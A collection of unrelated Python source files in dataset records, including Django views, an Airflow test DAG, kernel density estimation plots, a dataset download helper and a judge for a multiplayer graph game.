+{"seq_id":"185347591","text":"from django.shortcuts import render, redirect, get_object_or_404,HttpResponse\nfrom .models import Club\nfrom .forms import ClubForm\n\n# Create your views here.\n\ndef club_main(request):\n    template = 'club/club_main.html'\n    # if request.method == 'POST':\n    #     search_content = request.POST['search_content']\n    #     groups = Group.objects.filter(group_name__contains=search_content)\n    # else:\n    clubs = Club.objects.all()\n\n    context = {'clubs': clubs}\n    return render(request, template, context)\n\ndef club_detail(request, club_id):\n    template = 'club/club_detail.html'\n    context = {}\n    return render(request, template, context)\n\ndef club_create(request):\n    form = ClubForm()\n    template = 'club/club_create.html'\n    context = {\"form\": form}\n\n    # 저장하기 눌렀을 경우\n    if request.method == 'POST':\n        form = ClubForm(request.POST or None, request.FILES or None)\n        if form.is_valid():\n            instance = form.save(commit=False)\n            instance.admin_id = request.user.id  # merge: 로그인 user 등록\n            instance.save()\n            return redirect('club_main')\n        else:\n            pass\n\n    return render(request, template, context)","sub_path":"club/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1206,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"531798893","text":"from distutils.core import setup\n\n\nclassifiers = [ 'Development Status :: 4 - Beta'\n              , 'Intended Audience :: Developers'\n              , 'License :: OSI Approved :: BSD License'\n              , 'Operating System :: MacOS :: MacOS X'\n              , 'Operating System :: POSIX :: Linux'\n              , 'Operating System :: Unix'\n              , 'Programming Language :: Python :: 2.6'\n              , 'Programming Language :: Python :: 2.7'\n              ]\n\nsetup(name='Deftsilo',\n      version='0.1',\n      author='Robert Escriva (rescrv)',\n      author_email='deftsilo@mail.robescriva.com',\n      py_modules=['deftsilo'],\n      scripts=['bin/deftsilo'],\n      license='3-clause BSD',\n      url='http://robescriva.com/',\n      description='Easy, portable dotfiles management.',\n      classifiers=classifiers,\n      )\n","sub_path":"pypi_install_script/Deftsilo-0.1.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":831,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"244864576","text":"import argparse, os\nfrom argparse import ArgumentParser\nimport pandas as pd\nimport sys\n\nparser = argparse.ArgumentParser(description = 'Dataset Checker')\nparser.add_argument('-d', '--dataframe', type = str, help = \"Location of CSV Dataframe\", default='.data-store.csv')\nparser.add_argument('-n', '--name', type = str, help='dataset to check for', default='smule')\nparser.add_argument('-u', '--url', type = str, help='dataset download link')\nparser.add_argument('-f', '--folder', type = str, help = 'Folder to Check for')\nparser.add_argument('-a', '--action', type=str, help='action to take add/update/delete', default='add')\nparser.add_argument('-t', '--type', type=str, help='Type of downloaded file', default=\"\")\nargs = parser.parse_args()\n\nif os.path.exists(args.dataframe):\n\tdf = pd.read_csv(args.dataframe)\n\tdf = df.set_index(\"Name\")\nelse:\n\tdf = pd.DataFrame({\"Name\": [], \"Folder\": [], \"URL\": [], \"Type\":[]})\n\tdf = df.set_index(\"Name\") \n\nif args.name not in df.index or args.action == \"update\":\n\tif args.folder == None or args.url == None:\n\t\tprint(\"Dataest not in data store. Please specify a folder location and a url for this dataset\")\n\t\tsys.exit(0)\n\tdf.loc[args.name] = [args.folder, args.url, args.type]\n\tdf.to_csv(args.dataframe) \n\nif args.name in df.index and args.action == \"delete\":\n\tdf = df.drop(args.name)\n\tdf.to_csv(args.dataframe)\n\tprint(\"Deleted %s dataset\" % (args.name,))\n\tsys.exit(0)\n\nfolder = df.loc[args.name][\"Folder\"]\nurl = df.loc[args.name][\"URL\"]\ntyp = df.loc[args.name][\"Type\"]\n\nif (os.path.exists(folder) and os.listdir(folder)):\n    print(\"Data exists on the current path.\")\nelse:\n\tprint(\"Data does not exist on the current path.\")\n\tos.system(\"wget '%s'\" % (url,))\n\tprint(\"Downloaded dataset to current directory.\")\n\tos.system(\"mkdir -p '%s'\" % (folder,))\n\n\tif typ == \"zip\":\n\t\tos.system(\"unzip '%s' -d '%s'\" % (os.path.basename(url), folder))\n\t\tprint(\"Unzipped '%s' to '%s'\" % (os.path.basename(url), folder))\n\telif typ == \"tar.gz\":\n\t\tos.system(\"tar -xvzf '%s' -C '%s'\" % (os.path.basename(url), folder))\n\t\tprint(\"Expanded '%s' to '%s'\" % (os.path.basename(url), folder))\n\telse:\n\t\tos.system(\"mv '%s' '%s'\" % (os.path.basename(url), folder))\n\t\tprint(\"Moved '%s' to '%s'\" % (os.path.basename(url), folder))\n\t\n\tif typ == \"zip\" or typ == \"tar.gz\":\n\t\tos.system(\"rm %s\" % (os.path.basename(url),))\n\t\tprint(\"Removed expanded file\") \n\t\t\n","sub_path":"data_checker.py","file_name":"data_checker.py","file_ext":"py","file_size_in_byte":2359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"278974879","text":"__author__ = 'ChuTan'\n\nimport ystockquote\n\nADJ_CLOSE = \"Adj Close\"\nCLOSE = \"Close\"\nHIGH = \"High\"\nLOW = \"Low\"\nOPEN = \"Open\"\nVOLUME = \"Volume\"\n\n\ndef main():\n    prices = ystockquote.get_historical_prices(\"XLF\", \"2013-01-01\", \"2013-12-31\")\n\n\nif __name__ == \"__main__\":\n    main()","sub_path":"quotesimporter/importhistprices.py","file_name":"importhistprices.py","file_ext":"py","file_size_in_byte":276,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"285045137","text":"from __future__ import print_function\nfrom airflow.models import DAG\nfrom datetime import datetime\nfrom airflow.sensors import WebHdfsSensor\nfrom airflow.operators.python_operator import PythonOperator\nfrom hdfs import client\nimport pandas as pd\nimport sys, os\nimport tempfile\nimport glob\nimport requests\nfrom io import StringIO\nfrom airflow.hooks.base_hook import BaseHook\nimport pyarrow.parquet as pq\nfrom pandas._testing import assert_frame_equal\n\npd.set_option('display.max_rows', None)\npd.set_option('display.max_columns', None)\npd.set_option('display.width', None)\npd.set_option('display.max_colwidth', -1)\n\nsys.path.insert(0, os.path.abspath(os.path.dirname(\"api\")))\n\nDAG_ID = os.path.basename(__file__).replace(\".pyc\", \"\").replace(\".py\", \"\")\n\ndefault_args = {\n    'owner': 'airflow',\n    'depends_on_past': False,\n    'retries': 0,\n}\n\ndag = DAG(DAG_ID, default_args=default_args, schedule_interval=None,\n          start_date=(datetime(2020, 3, 16, 0, 0, 0, 0)), catchup=False)\n\ninput_path = '/tw/stationMart/data'\nfile_sensor = WebHdfsSensor(\n    task_id='file_exists',\n    filepath=input_path,\n    webhdfs_conn_id='webhdfs_default',\n    dag=dag)\n\n\ndef read_hdfs_file():\n    connection = BaseHook.get_connection(\"webhdfs_default\")\n    conn_type = connection.conn_type\n    host = connection.host\n    port = connection.port\n    hdfs_conn = str(conn_type) + \"://\" + str(host) + \":\" + str(port)\n    print(\"connecting to \" + hdfs_conn)\n    myclient = client.Client(hdfs_conn)\n    pathname = os.path.join(tempfile.mkdtemp(), 'hdfs_stationMart_data')\n    print(\"downloading files from HDFS to \" + pathname)\n    myclient.download(\"/tw/stationMart/data/\", pathname, True)\n    print(\"downloading complete\")\n    dataset = pq.ParquetDataset(pathname)\n    table = dataset.read()\n    df = table.to_pandas()\n    print(df)\n    return df\n\n\ndef read_mock_data():\n    print(\"Fetching mock response text...\")\n    connection = BaseHook.get_connection(\"MOCKSERVER\")\n    conn_type = connection.conn_type\n    host = connection.host\n    port = connection.port\n    mockserver_conn = str(conn_type) + \"://\" + str(host) + \":\" + str(port) + \"/\" + \"mock-response\"\n    print(\"connecting to \" + mockserver_conn)\n    r = requests.get(mockserver_conn)\n    StringData = StringIO(r.text)\n    df = pd.read_csv(StringData, sep=\",\", parse_dates=[\"timestamp\"])\n    df[\"bikes_available\"] = df[\"bikes_available\"].astype(\"int32\")\n    df[\"docks_available\"] = df[\"docks_available\"].astype(\"int32\")\n    print(df)\n    return df\n\n\ndef compare_data(**kwargs):\n    mock_df = read_mock_data()\n    print(mock_df.dtypes)\n    actual_df = read_hdfs_file()\n    print(actual_df.dtypes)\n\n    print(\"asserting...\")\n    assert_frame_equal(actual_df, mock_df, check_dtype=True)\n    return True\n\n\ncomparison_task = PythonOperator(\n    task_id='compare_mock_with_martdata'\n    , python_callable=compare_data\n    , provide_context=True\n    , dag=dag\n)\n\nfile_sensor >> comparison_task\n","sub_path":"docker/airflow/dags/e2e.py","file_name":"e2e.py","file_ext":"py","file_size_in_byte":2928,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"317756732","text":"# -*- coding: utf-8 -*-\n# Use the following packages only\nimport pandas as pd\nimport numpy as np\nfrom scipy.stats import multivariate_normal, norm\nimport matplotlib.pyplot as plt\n\n\n# implement consine kernel\ndef cosine_kernel(x, train, h):\n    # x: test point\n    # train: training set\n    # h: bandwidth\n    # return p(x)\n    u_ = [(x-point)/h for point in train]\n    kernel_output = []\n    \n    for u in u_ :\n        if np.abs(u) <= 1 :\n            kernel_output.append((np.pi/4)*np.cos((np.pi/2)*u))\n        else :\n            kernel_output.append(0)\n    \n    return 1/len(train) * np.sum(np.multiply((1/h), kernel_output))\n    \n    \n# implement gaussian kernel\ndef gaussian_kernel(x, train, h):\n    # x: test point\n    # train: training set\n    # h: bandwidth\n    # return p(x)\n    u_ = [(x-point)/h for point in train]\n    kernel_output = []\n    \n    for u in u_:\n        kernel_output.append(norm.pdf(u))\n        \n    return 1/len(train)*np.sum(np.multiply(kernel_output,(1/h)))    \n\n# implement 2D gaussian kernel\ndef gaussian_2d_kernel(x, train, h):\n    # x: test point\n    # train: training set\n    # h: bandwidth\n    # return p(x)\n    u_ = [(x-point)/h for point in train]\n\n    mean = np.array([0,0])\n    kernel_output = multivariate_normal.pdf(u_, mean=mean)\n    \n    return 1/len(train)*np.sum(np.multiply(kernel_output,(1/h**2)))\n    \n    \n# implement epanechnikov kernel\ndef epanechnikov_kernel(x,train,h):\n    # x: test point\n    # train: training set\n    # h: bandwidth\n    # return p(x)\n    u_=[(x-point)/h for point in train]\n    kernel_output=[]\n    \n    for u in u_:\n        if np.abs(u) <= 1:\n            kernel_output.append((3/4)*(1-u**2))\n        else :\n            kernel_output.append(0)\n            \n    return 1/len(train)*np.sum(np.multiply(kernel_output,(1/h))) \n    \ndef kde1d(train,test,kernel,h):\n    # train: training set\n    # test: test set\n    # kernel: kernel function (object)\n    # h: bandwidth\n        \n    d = [kernel(x,train,h) for x in test]\n    return d\n\ndef kde2d(train,test,kernel,h):\n    # train: training set\n    # test: test set\n    # kernel: kernel function (object)\n    # h: bandwidth\n    \n    d = [kernel(x, train, h) for x in test]\n    return d\n\n# 1D\nsample=[2,3,4,8,10,11,12]\nh=1\nx=np.linspace(0,14,100000)\n\ny1=kde1d(sample,x,cosine_kernel,h)\ny2=kde1d(sample,x,gaussian_kernel,h)\ny3=kde1d(sample,x,epanechnikov_kernel,h)\n    \nfig=plt.subplots(1,3,figsize=(10,4))\nplt.subplot(1,3,1)\nplt.plot(x,y1)\nplt.title('Cosine')\nplt.subplot(1,3,2)\nplt.plot(x,y2)\nplt.title('Gaussian')\nplt.subplot(1,3,3)\nplt.plot(x,y3)\nplt.title('Epanechnikov')\nplt.show()\n\n#2D\nsample_2d=pd.read_csv(r'https://drive.google.com/uc?export=download&id=1uyPHjquXOIS9TTrG9Nb_gW3sfQEOdY0V')\nsum_stats=sample_2d.describe()\nxmin,ymin=sum_stats.loc['min']-0.5\nxmax,ymax=sum_stats.loc['max']+0.5\n\nx=np.linspace(xmin,xmax,100)\ny=np.linspace(ymin,ymax,100)\nX,Y=np.meshgrid(x,y)\nZ = np.c_[X.ravel(),Y.ravel()]\n\nZ1 = kde2d(sample_2d.values,Z,gaussian_2d_kernel,0.5)\nZ1 = np.reshape(Z1, X.shape)\nZ2 = kde2d(sample_2d.values,Z,gaussian_2d_kernel,1)\nZ2 = np.reshape(Z2, X.shape)\nZ3 = kde2d(sample_2d.values,Z,gaussian_2d_kernel,2)\nZ3 = np.reshape(Z3, X.shape)\n\nfig,ax=plt.subplots(1,3,figsize=(16,4))\nplt.subplot(1,3,1)\ncs=plt.contourf(X,Y,Z1,cmap=plt.cm.Blues)\nplt.colorbar(cs)\nplt.subplot(1,3,2)\ncs=plt.contourf(X,Y,Z2,cmap=plt.cm.Blues)\nplt.colorbar(cs)\nplt.subplot(1,3,3)\ncs=plt.contourf(X,Y,Z3,cmap=plt.cm.Blues)\nplt.colorbar(cs)\nplt.show()\n","sub_path":"code/test 4.py","file_name":"test 4.py","file_ext":"py","file_size_in_byte":3455,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"452878146","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n'''\n####################################\n#\n# Monitoring the errors\n#\n####################################\n\nSo far, we only log the messages.\n\nNote: we can configure the logger to send emails :-)\n'''\n\nimport sys\nimport logging\nimport argparse\nfrom time import sleep\n    \nfrom .conf import CONF\nfrom .utils import db\n\nLOG = None\n\ndef sys_work(data):\n    '''Procedure to handle a message'''\n    LOG.debug(data)\n    return None\n\ndef user_work(data):\n    '''Procedure to handle a message'''\n    LOG.debug(data)\n    return None\n\ndef check_errors(handle_error,interval):\n    while True:\n        errors = db.get_errors()\n        for error in errors:\n            LOG.info(repr(error))\n        sleep(interval)\n\ndef main():\n    global LOG\n    CONF.setup(sys.argv[1:]) # re-conf\n\n    parser = argparse.ArgumentParser()\n    # parser.add_argument('--conf', action='store', help='Where to conf is', default=None)\n    # parser.add_argument('--log',  action='store', help='Where to log is',  default=None)\n    group = parser.add_mutually_exclusive_group(required=True)\n    group.add_argument('--sys',  action='store_true', help='Monitor all the system errors' )\n    group.add_argument('--user', action='store_true', help='Monitor errors from the users' )\n    args = parser.parse_args()\n\n\n    interval = CONF.getint('monitor','interval', fallback=600) # default 10min\n    if args.sys:\n        LOG = logging.getLogger('sys-monitor')\n        handle_error = sys_work\n        \n    if args.user:\n        LOG = logging.getLogger('user-monitor')\n        handle_error = user_work\n\n    check_errors(handle_error,interval)\n\nif __name__ == '__main__':\n    main()\n","sub_path":"src/lega/monitor.py","file_name":"monitor.py","file_ext":"py","file_size_in_byte":1682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"157649228","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n\"\"\"\r\nRequirements:\r\n  numpy 1.11.3 or above\r\n  matplotlib 2 or above\r\n  networkx 2.2 or above\r\n\"\"\"\r\n\r\nimport sys\r\nimport os\r\nimport time\r\nimport subprocess\r\nimport threading\r\nimport shlex\r\nimport random\r\nimport json\r\nimport itertools\r\nimport datetime\r\nfrom optparse import OptionParser\r\n\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport networkx as nx\r\n\r\nVERSION  = \"0.20\"\r\nREVISION = \"a\"\r\nVER_DATE = \"20190213\"\r\n\r\nSHOW_GRAPH = False\r\nSAVE_GRAPH = False\r\nDEBUG_PRINT = False\r\nTIME_LIMIT = 10.0\r\n\r\nCOLORS = (\"lightgray\", \"r\", \"g\", \"lightblue\", \"m\", \"c\", \"y\", \"k\")\r\n\r\ndef read_response(player):\r\n    if player.time <= 0.0:\r\n        return None, 0.0\r\n    start_time = time.time()\r\n    class ExecThread(threading.Thread):\r\n        def __init__(self, solver):\r\n            self.solver = solver\r\n            self.response = None\r\n            threading.Thread.__init__(self)\r\n        def run(self):\r\n            self.response = self.solver.stdout.readline().strip()\r\n        def get_response(self):\r\n            return self.response\r\n    t = ExecThread(player.solver)\r\n    t.setDaemon(True)\r\n    t.start()\r\n    if t.isAlive(): t.join(player.time)\r\n    player.time -= time.time() - start_time\r\n    return t.get_response(), player.time\r\n\r\ndef check_TLE(player):\r\n    if player.time <= 0.0:\r\n        print(\"Error: time limit exceeded: %s\" % (player.name,), file=sys.stderr)\r\n        return True\r\n    return False\r\n\r\ndef quit_game(players):\r\n    for player in players:\r\n        try:\r\n            player.solver.stdin.write((\"%s\\n\" % json.dumps({\"action\": \"quit\"})).encode(\"utf-8\"))\r\n            player.solver.stdin.flush()\r\n            response, player.times = read_response(player)\r\n        except:\r\n            pass\r\n\r\nclass Player:\r\n    def __init__(self, uid, name, solver, num_units):\r\n        self.uid = uid\r\n        self.name = name\r\n        self.solver = solver\r\n        self.num_units = num_units\r\n        self.time = TIME_LIMIT\r\n        self.nodes = []\r\n\r\nclass Nodeless:\r\n    \"\"\"Nodeless class\r\n    \"\"\"\r\n    def __init__(self, players, num_nodes=30, edge_prob=0.2, num_units=None, seed=None, config_file=None):\r\n        self.G = None\r\n        if config_file:\r\n            data = json.load(open(config_file))\r\n            self.G = nx.Graph()\r\n            self.G.add_nodes_from(data[\"nodes\"])\r\n            self.G.add_edges_from(data[\"edges\"])\r\n            self.num_nodes = len(self.G.nodes)\r\n        else:\r\n            self.num_nodes = num_nodes\r\n            self.G = nx.fast_gnp_random_graph(self.num_nodes, edge_prob, seed=seed)\r\n        nx.set_node_attributes(self.G, name=\"player\", values=-1)\r\n        nx.set_node_attributes(self.G, name=\"number\", values=0)\r\n\r\n        self.num_players = len(players)\r\n        self.players = []\r\n        self.num_units = num_units if num_units and num_units > 0 else max(1, self.num_nodes // (self.num_players * 2))\r\n        for uid, (name, solver) in enumerate(players):\r\n            solver = subprocess.Popen(solver, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE)\r\n            self.players.append(Player(uid, name, solver, self.num_units))\r\n        self.nodeless = []\r\n\r\n        print(\"num_nodes: {}\".format(self.num_nodes))\r\n        if config_file:\r\n            print(\"config_file: {}\".format(config_file))\r\n        else:\r\n            print(\"edge_prob: {}\".format(edge_prob))\r\n        print(\"players: {}\".format(\", \".join([player.name for player in self.players])))\r\n        print(\"num_players: {}\".format(self.num_players))\r\n        print(\"num_units: {}\".format(self.num_units))\r\n        print(\"time limit: {}\".format(TIME_LIMIT))\r\n\r\n        self.trajectories = []\r\n\r\n    def judge_init(self, responses):\r\n        U = np.zeros((self.num_nodes, self.num_players), dtype=int)\r\n        for uid, response in responses:\r\n            if uid in self.nodeless:\r\n                continue\r\n            data = json.loads(response.decode(\"utf-8\"))\r\n            for pos in data[\"positions\"]:\r\n                U[pos][uid] += 1\r\n        for pos, xs in enumerate(U):\r\n            if self.G.node[pos][\"player\"] >= 0:\r\n                continue\r\n            t = sorted(xs)[-2]\r\n            u = np.asarray(xs, dtype=int) - t\r\n            uid = np.argmax(u)\r\n            if u[uid] > 0:\r\n                self.G.node[pos][\"player\"] = uid\r\n                self.G.node[pos][\"number\"] = u[uid]\r\n\r\n    def judge_play(self, responses):\r\n        U = np.zeros((self.num_nodes, self.num_players), dtype=int)\r\n        for uid, response in responses:\r\n            if DEBUG_PRINT:\r\n                print(\"JUDGE_PLAY: uid: {}, response: {}\".format(uid, response, file=sys.stderr)) ##### debug\r\n            if not response:\r\n                continue\r\n            name = self.players[uid].name\r\n            data = json.loads(response.decode(\"utf-8\"))\r\n            src = data[\"src\"]\r\n            dst = data[\"dst\"]\r\n            num = data[\"num\"]\r\n            if src < 0 or dst < 0:\r\n                print(\"Error: [%s] invalid unit: src, dst >= 0 (src=%d, dst=%d)\" % (name, src, dst), file=sys.stderr)\r\n                self.nodeless.append(uid)\r\n                continue\r\n            if src >= self.num_nodes or dst >= self.num_nodes:\r\n                print(\"Error: [%s] invalid unit: src, dst < number of nodes (src=%d, dst=%d)\" % (name, src, dst), file=sys.stderr)\r\n                self.nodeless.append(uid)\r\n                continue\r\n            if self.G.node[src][\"player\"] != uid:\r\n                print(\"Error: [%s] invalid unit: node (%d) has no uid (%d)\" % (name, src, uid), file=sys.stderr)\r\n                self.nodeless.append(uid)\r\n                continue\r\n            if num == 0:\r\n                print(\"Error: [%s] invalid unit: number of moved units should not be zero\" % (name,), file=sys.stderr)\r\n                self.nodeless.append(uid)\r\n                continue\r\n            if self.G.node[src][\"number\"] < num:\r\n                print(\"Error: [%s] invalid unit: node (%d) has no %d unit(s)\" % (name, src, num), file=sys.stderr)\r\n                self.nodeless.append(uid)\r\n                continue\r\n            if self.G.node[src][\"number\"] == 0:\r\n                print(\"Error: [%s] invalid unit: unit to select is 1 or more\" % name, file=sys.stderr)\r\n                self.nodeless.append(uid)\r\n                continue\r\n            if self.G.node[dst][\"player\"] >= 0:\r\n                print(\"Error: [%s] invalid unit: node (%d) is not free\" % (name, dst), file=sys.stderr)\r\n                self.nodeless.append(uid)\r\n                continue\r\n            if not self.G.has_edge(src, dst):\r\n                print(\"Error: [%s] invalid unit: node (%d) and (%d) has no edge\" % (name, src, dst), file=sys.stderr)\r\n                self.nodeless.append(uid)\r\n                continue\r\n            self.G.node[src][\"number\"] -= num\r\n            U[dst][uid] = num\r\n        for pos, xs in enumerate(U):\r\n            if self.G.node[pos][\"player\"] >= 0:\r\n                continue\r\n            t = sorted(xs)[-2]\r\n            u = np.asarray(xs, dtype=int) - t\r\n            uid = np.argmax(u)\r\n            if u[uid] > 0:\r\n                self.G.node[pos][\"player\"] = uid\r\n                self.G.node[pos][\"number\"] = u[uid]\r\n\r\n    def judge_graph(self):\r\n        def search_free_nodes(node, memo):\r\n            if self.G.node[node][\"player\"] == -1:\r\n                memo.append(node)\r\n                for neighbor in self.G.neighbors(node):\r\n                    if neighbor not in memo:\r\n                        search_free_nodes(neighbor, memo)\r\n        groups = []\r\n        for node in self.G.nodes():\r\n            if self.G.node[node][\"player\"] >= 0 or node in list(itertools.chain.from_iterable(groups)):\r\n                continue\r\n            memo = []\r\n            search_free_nodes(node, memo)\r\n            groups.append(memo)\r\n        if DEBUG_PRINT:\r\n            print(\"groups: {}\".format(groups), file=sys.stderr) ##### debug\r\n        for group in groups:\r\n            boundary = list(nx.algorithms.boundary.node_boundary(self.G, group))\r\n            boundary_players = set([self.G.node[node][\"player\"] for node in boundary])\r\n            if DEBUG_PRINT:\r\n                print(\"boundary: {}\".format(boundary), file=sys.stderr) ##### debug\r\n                print(\"boundary_players: {}\".format(boundary_players), file=sys.stderr) ##### debug\r\n            if len(boundary_players) == 1:\r\n                p = boundary_players.pop()\r\n                for node in group:\r\n                    self.G.node[node][\"player\"] = p\r\n        \r\n        for uid in range(self.num_players):\r\n            if uid in self.nodeless:\r\n                continue\r\n            basements = []\r\n            for node in self.G.nodes():\r\n                if self.G.node[node][\"player\"] == uid and self.G.node[node][\"number\"] > 0:\r\n                    basements.append(node)\r\n            boundary = list(nx.algorithms.boundary.node_boundary(self.G, basements))\r\n            if -1 not in [self.G.node[node][\"player\"] for node in boundary]:\r\n                self.nodeless.append(uid)\r\n\r\n    def initialize(self):\r\n        names = [player.name for player in self.players]\r\n        responses = []\r\n        for player in self.players:\r\n            try:\r\n                data = json.dumps({\"action\": \"init\", \"uid\": player.uid, \"names\": names, \"num_units\": player.num_units, \"nodes\": list(self.G.nodes()), \"edges\": list(self.G.edges()), \"state\": [-1] * self.G.number_of_nodes(), \"units\": [0] * self.G.number_of_nodes()})\r\n                if DEBUG_PRINT:\r\n                    print(\"{}: {}\".format(player.name, data), file=sys.stderr) ###\r\n                player.solver.stdin.write((\"%s\\n\" % data).encode(\"utf-8\"))\r\n                player.solver.stdin.flush()\r\n                response, player.time = read_response(player)\r\n                responses.append((player.uid, response))\r\n                if check_TLE(player):\r\n                    self.nodeless.append(player.uid)\r\n                    #return False\r\n            except Exception as e:\r\n                self.nodeless.append(player.uid)\r\n                print(str(e), file=sys.stderr)\r\n                #return False\r\n        self.judge_init(responses)\r\n        self.judge_graph()\r\n        self.show_score()\r\n        self.trajectories.append((self.G.copy(), self.get_score()))\r\n\r\n        return True\r\n    \r\n    def show_graph(self, savename=\"result\"):\r\n        num_trajectories = len(self.trajectories)\r\n        nr = int(np.ceil(np.sqrt(num_trajectories)))\r\n        fig, ax = plt.subplots(nr, nr)\r\n        fig.set_size_inches(20, 20)\r\n        for i in range(nr):\r\n            for j in range(nr):\r\n                ax[i, j].set_xticks([])\r\n                ax[i, j].set_yticks([])\r\n        for i, (G, (players, free_nodes)) in enumerate(self.trajectories):\r\n            ix = np.unravel_index(i, ax.shape)\r\n            ax[ix].set_title(\"step={} players={} free_nodes={}\".format(i, players, free_nodes), fontsize=10)\r\n            colors = list(map(lambda v: COLORS[v[\"player\"]+1], dict(G.nodes).values()))\r\n            np.random.seed(0)\r\n            nx.draw_networkx(G, pos=nx.spring_layout(G), ax=ax[ix], node_shape=\"o\", node_color=colors, labels={k: v[\"number\"] for k, v in G.node.items()}) ###\r\n        if SAVE_GRAPH:\r\n            plt.savefig(\"{0:}_{1:%Y%m%d%H%M%S%f}.png\".format(savename, datetime.datetime.now()))\r\n        if SHOW_GRAPH:\r\n            plt.show()\r\n\r\n    def play(self):\r\n        responses = []\r\n        for player in self.players:\r\n            if player.uid in self.nodeless:\r\n                continue\r\n            try:\r\n                response = None\r\n                if player.uid not in self.nodeless:\r\n                    state = [int(self.G.node[node][\"player\"]) for node in self.G.nodes()]\r\n                    units = [int(self.G.node[node][\"number\"] if self.G.node[node][\"player\"] == player.uid else 0) for node in self.G.nodes()]\r\n                    data = json.dumps({\"action\": \"play\", \"nodes\": list(self.G.nodes()), \"edges\": list(self.G.edges()), \"state\": state, \"units\": units})\r\n                    if DEBUG_PRINT:\r\n                        print(\"{}: {}\".format(player.name, data), file=sys.stderr) ##### debug\r\n                    player.solver.stdin.write((\"%s\\n\" % data).encode(\"utf-8\"))\r\n                    player.solver.stdin.flush()\r\n                    response, player.time = read_response(player)\r\n                responses.append((player.uid, response))\r\n                if check_TLE(player):\r\n                    self.nodeless.append(player.uid)\r\n                    #return False\r\n            except Exception as e:\r\n                self.nodeless.append(player.uid)\r\n                print(str(e), file=sys.stderr)\r\n                #return False\r\n        self.judge_play(responses)\r\n        self.judge_graph()\r\n        self.show_score()\r\n        self.trajectories.append((self.G.copy(), self.get_score()))\r\n\r\n        if len(self.nodeless) == self.num_players:\r\n            return False\r\n        return True\r\n\r\n    def get_score(self):\r\n        scores = np.zeros(self.num_players, dtype=int)\r\n        free_nodes = 0\r\n        for node in self.G.nodes():\r\n            p = self.G.node[node][\"player\"]\r\n            if p >= 0:\r\n                scores[p] += 1\r\n            else:\r\n                free_nodes += 1\r\n        return scores, free_nodes\r\n\r\n    def show_score(self):\r\n        scores, free_nodes = self.get_score()\r\n        print(\"step={:04d} players={} free_nodes={}\".format(len(self.trajectories), scores, free_nodes))\r\n\r\n    def finish(self):\r\n        scores, _ = self.get_score()\r\n        result = []\r\n        for player, score in zip(self.players, scores):\r\n            result.append([score, player.name])\r\n        result.sort(reverse=True)\r\n        rank = self.num_players\r\n        order = self.num_players\r\n        prev_score = -1\r\n        for i in range(len(result)-1, -1, -1):\r\n            if prev_score < result[i][0]:\r\n                rank = order\r\n            prev_score = result[i][0]\r\n            result[i].append(rank)\r\n            order -= 1\r\n        print(\"### RESULT: {}\".format(\" | \".join(map(lambda xs: \"({}) {} {}\".format(xs[2], xs[1], xs[0]), result))))\r\n        SCORE_TABLE = range(self.num_players, 0, -1)\r\n        print(\"### SCORES: {}\".format(\" | \".join(map(lambda xs: \"{} {}\".format(xs[1], SCORE_TABLE[xs[2]-1]), result))))\r\n        quit_game(self.players)\r\n        if os.name == \"posix\":\r\n            for player in self.players:\r\n                pid = player.solver.pid\r\n                #os.system(\"kill -{}\".format(pid))\r\n                os.system(\"pkill -TERM -P {}\".format(pid))\r\n\r\ndef main():\r\n    global DEBUG_PRINT, SHOW_GRAPH, SAVE_GRAPH, TIME_LIMIT\r\n\r\n    parser = OptionParser(usage=\"Usage: %prog [options] name1 command1 name2 command2 [name3 command3 ...]\")\r\n    parser.add_option(\"-c\", \"--config\", action=\"store\", type=\"string\", dest=\"config\", default=None, help=\"config file to create graph\")\r\n    parser.add_option(\"--show\", action=\"store_true\", dest=\"show\", default=False, help=\"show graph\")\r\n    parser.add_option(\"--save\", action=\"store_true\", dest=\"save\", default=False, help=\"save graph\")\r\n    parser.add_option(\"-n\", \"--nodes\", action=\"store\", type=\"int\", dest=\"nodes\", default=30, help=\"number of nodes\")\r\n    parser.add_option(\"-p\", \"--prob\", action=\"store\", type=\"float\", dest=\"prob\", default=0.2, help=\"edge probability\")\r\n    parser.add_option(\"-u\", \"--units\", action=\"store\", type=\"int\", dest=\"units\", default=None, help=\"number of units\")\r\n    parser.add_option(\"-t\", \"--time\", action=\"store\", type=\"float\", dest=\"time\", default=10.0, help=\"time limit\")\r\n    parser.add_option(\"-s\", \"--seed\", action=\"store\", type=\"int\", dest=\"seed\", default=None, help=\"seed for random number generator\")\r\n    parser.add_option(\"-d\", \"--debug\", action=\"store_true\", dest=\"debug\", default=False, help=\"print for debug\")\r\n\r\n    (options, args) = parser.parse_args()\r\n\r\n    if len(args) < 4:\r\n        parser.error(\"incorrect number of arguments\")\r\n\r\n    DEBUG_PRINT = options.debug\r\n    SHOW_GRAPH = options.show\r\n    SAVE_GRAPH = options.save\r\n    TIME_LIMIT = options.time\r\n    config_file = options.config\r\n    seed = options.seed\r\n\r\n    n = len(args) // 2\r\n    players = [(name, solver) for name, solver in zip(args[0:2*n-1:2], args[1:2*n:2])]\r\n    nodeless = Nodeless(players, options.nodes, options.prob, options.units, seed=seed, config_file=config_file) ### default: num_nodes=30, edge_prob=0.2\r\n    if nodeless.initialize():\r\n        while True:\r\n            if not nodeless.play():\r\n                break\r\n        nodeless.finish()\r\n        if SHOW_GRAPH or SAVE_GRAPH:\r\n            nodeless.show_graph()\r\n\r\nif __name__ == \"__main__\":\r\n    main()\r\n","sub_path":"fixstars/2018/nodeless.py","file_name":"nodeless.py","file_ext":"py","file_size_in_byte":16642,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
